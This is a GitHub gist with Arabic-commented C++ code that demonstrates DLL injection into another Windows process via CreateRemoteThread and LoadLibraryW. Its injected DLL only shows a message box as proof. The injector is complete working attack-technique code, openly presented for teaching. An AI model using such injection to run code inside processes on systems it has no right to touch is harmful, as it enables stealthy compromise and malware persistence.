Skip to content

Instantly share code, notes, and snippets.

@Barakat
Created July 13, 2018 20:08
Show Gist options
  • Select an option

  • Save Barakat/f27c8e301ec2799df666a4767529943f to your computer and use it in GitHub Desktop.

Select an option

Save Barakat/f27c8e301ec2799df666a4767529943f to your computer and use it in GitHub Desktop.
DLL Injection via CreateRemoteThread
// أداة الحقن
#include <Windows.h>
#include <cassert>
int
main(int argc, char** argv)
{
(void)argc;
(void)argv;
// مسار ملف الربط الديناميكي على نظام الملفات
static const WCHAR payload_dll_path[] = LR"(C:\payload.dll)";
// معرف العملية
DWORD process_id = 7648;
// الحصول على مقبض العملية المستهدفة
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
process_id);
assert(process != nullptr);
// حجز ذاكرة في العملية المستهدف كي نكتب فيها مسار ملف الربط
void* remote_dll_path = VirtualAllocEx(process,
nullptr,
sizeof(payload_dll_path),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
assert(remote_dll_path != nullptr);
// نسخ مسار الملف لذاكرة العملية المستهدفة
WriteProcessMemory(process, remote_dll_path, payload_dll_path, sizeof(payload_dll_path), nullptr);
// الحصول على عنوان الدالة
// kernel32!LoadLibraryW
// في سياق العملية الحالية، سيكون عنوانها نفسه في العملية المستهدفة
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
FARPROC load_library = GetProcAddress(kernel32, "LoadLibraryW");
// إنشاء خيط معالجة في العملية المستهدفة وتمرير عنوان الدالة ومسارها مكتبة الربط كمعامل
HANDLE remote_thread = CreateRemoteThread(process,
nullptr,
0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(load_library),
remote_dll_path,
0,
nullptr);
assert(remote_thread != nullptr);
// إغلاق مقبض خيط المعالجة
CloseHandle(remote_thread);
// تحرير الذاكرة التي حجزناها سابقاً
VirtualFreeEx(process, remote_dll_path, sizeof(payload_dll_path), MEM_RELEASE);
// إغلاق مقبض العملية
CloseHandle(process);
}
// مكتبة الربط الديناميكي المراد حقنها
#include <Windows.h>
#define DLL_EXPORT extern "C" __declspec(dllexport)
DLL_EXPORT
BOOL WINAPI
DllMain(HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
(void)hinstDLL;
(void)lpvReserved;
// نريد عرض مربع حوار بسيط عند تحميل المكتبة للعملية لنتأكد من الحقن
if (fdwReason == DLL_PROCESS_ATTACH)
{
MessageBoxW(nullptr, L"DLL has been injected", L"Payload", MB_OK);
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment